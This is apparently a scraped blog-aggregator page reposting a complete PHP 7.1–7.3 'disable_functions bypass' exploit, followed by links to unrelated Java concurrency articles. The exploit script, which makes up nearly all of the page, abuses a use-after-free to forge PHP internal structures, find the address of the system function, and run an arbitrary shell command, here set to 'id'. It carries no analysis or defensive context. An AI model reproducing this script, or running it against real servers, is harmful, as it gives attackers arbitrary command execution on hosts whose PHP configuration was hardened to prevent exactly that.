zoukankan      html  css  js  c++  java
  • PHP 7.1-7.3 disable_functions bypass

    <?php
    
    $cmd = "id";
    
    $n_alloc = 10; # increase this value if you get segfaults
    
    class MySplFixedArray extends SplFixedArray {
        public static $leak;
    }
    
    class Z implements JsonSerializable {
        public function write(&$str, $p, $v, $n = 8) {
          $i = 0;
          for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
          }
        }
    
        public function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }
    
        public function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
            }
            return $out;
        }
    
        # unable to leak ro segments
        public function leak1($addr) {
            global $spl1;
    
            $this->write($this->abc, 8, $addr - 0x10);
            return strlen(get_class($spl1));
        }
    
        # the real deal
        public function leak2($addr, $p = 0, $s = 8) {
            global $spl1, $fake_tbl_off;
    
            # fake reference zval
            $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
            $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
            $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
    
            $leak = strlen($spl1::$leak);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    
            return $leak;
        }
    
        public function parse_elf($base) {
            $e_type = $this->leak2($base, 0x10, 2);
    
            $e_phoff = $this->leak2($base, 0x20);
            $e_phentsize = $this->leak2($base, 0x36, 2);
            $e_phnum = $this->leak2($base, 0x38, 2);
    
            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = $this->leak2($header, 0, 4);
                $p_flags = $this->leak2($header, 4, 4);
                $p_vaddr = $this->leak2($header, 0x10);
                $p_memsz = $this->leak2($header, 0x28);
    
                if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                    # handle pie
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                    $text_size = $p_memsz;
                }
            }
    
            if(!$data_addr || !$text_size || !$data_size)
                return false;
    
            return [$data_addr, $text_size, $data_size];
        }
    
        public function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = $this->leak2($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = $this->leak2($leak);
                    # 'constant' constant check
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;
    
                $leak = $this->leak2($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = $this->leak2($leak);
                    # 'bin2hex' constant check
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;
    
                return $data_addr + $i * 8;
            }
        }
    
        public function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = $this->leak2($addr, 0, 7);
                if($leak == 0x10102464c457f) { # ELF header
                    return $addr;
                }
            }
        }
    
        public function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = $this->leak2($addr);
                $f_name = $this->leak2($f_entry, 0, 6);
    
                if($f_name == 0x6d6574737973) { # system
                    return $this->leak2($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }
    
        public function jsonSerialize() {
            global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
    
            $contiguous = [];
            for($i = 0; $i < $n_alloc; $i++)
                $contiguous[] = new DateInterval('PT1S');
    
            $room = [];
            for($i = 0; $i < $n_alloc; $i++)
                $room[] = new Z();
    
            $_protector = $this->ptr2str(0, 78);
    
            $this->abc = $this->ptr2str(0, 79);
            $p = new DateInterval('PT1S');
    
            unset($y[0]);
            unset($p);
    
            $protector = ".$_protector";
    
            $x = new DateInterval('PT1S');
            $x->d = 0x2000;
            $x->h = 0xdeadbeef;
            # $this->abc is now of size 0x2000
    
            if($this->str2ptr($this->abc) != 0xdeadbeef) {
                die('UAF failed.');
            }
    
            $spl1 = new MySplFixedArray();
            $spl2 = new MySplFixedArray();
    
            # some leaks
            $class_entry = $this->str2ptr($this->abc, 0x120);
            $handlers = $this->str2ptr($this->abc, 0x128);
            $php_heap = $this->str2ptr($this->abc, 0x1a8);
            $abc_addr = $php_heap - 0x218;
    
            # create a fake class_entry
            $fake_obj = $abc_addr;
            $this->write($this->abc, 0, 2); # type
            $this->write($this->abc, 0x120, $abc_addr); # fake class_entry
    
            # copy some of class_entry definition
            for($i = 0; $i < 16; $i++) {
                $this->write($this->abc, 0x10 + $i * 8, 
                    $this->leak1($class_entry + 0x10 + $i * 8));
            }
    
            # fake static members table
            $fake_tbl_off = 0x70 * 4 - 16;
            $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
            $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
    
            # fake zval_reference
            $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
            $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
    
            # look for binary base
            $binary_leak = $this->leak2($handlers + 0x10);
            if(!($base = $this->get_binary_base($binary_leak))) {
                die("Couldn't determine binary base address");
            }
    
            # parse elf header
            if(!($elf = $this->parse_elf($base))) {
                die("Couldn't parse ELF");
            }
    
            # get basic_functions address
            if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
                die("Couldn't get basic_functions address");
            }
    
            # find system entry
            if(!($zif_system = $this->get_system($basic_funcs))) {
                die("Couldn't get zif_system address");
            }
            
            # copy hashtable offsetGet bucket
            $fake_bkt_off = 0x70 * 5 - 16;
    
            $function_data = $this->str2ptr($this->abc, 0x50);
            for($i = 0; $i < 4; $i++) {
                $this->write($this->abc, $fake_bkt_off + $i * 8, 
                    $this->leak2($function_data + 0x40 * 4, $i * 8));
            }
    
            # create a fake bucket
            $fake_bkt_addr = $abc_addr + $fake_bkt_off;
            $this->write($this->abc, 0x50, $fake_bkt_addr);
            for($i = 0; $i < 3; $i++) {
                $this->write($this->abc, 0x58 + $i * 4, 1, 4);
            }
    
            # copy bucket zval
            $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
            for($i = 0; $i < 12; $i++) {
                $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                    $this->leak2($function_zval, $i * 8));
            }
    
            # pwn
            $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
            $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
    
            $spl1->offsetGet($cmd);
    
            exit();
        }
    }
    
    $y = [new Z()];
    json_encode([&$y]);
  • 相关阅读:
    Java synchronized对象级别与类级别的同步锁
    java并发编程JUC第十二篇:AtomicInteger原子整型
    java并发编程JUC第十一篇:如何在线程之间进行对等数据交换
    java并发编程JUC第十篇:CyclicBarrier线程同步
    java并发编程JUC第九篇:CountDownLatch线程同步
    java并发编程工具类JUC第八篇:ConcurrentHashMap
    分享Sql性能优化的一些建议
    java并发编程工具类JUC第七篇:BlockingDeque双端阻塞队列
    java并发编程工具类JUC第六篇:SynchronousQueue同步队列
    java并发编程工具类JUC第五篇:PriorityBlockingQueue优先级队列
  • 原文地址:https://www.cnblogs.com/hookjoy/p/12614546.html
Copyright © 2011-2022 走看看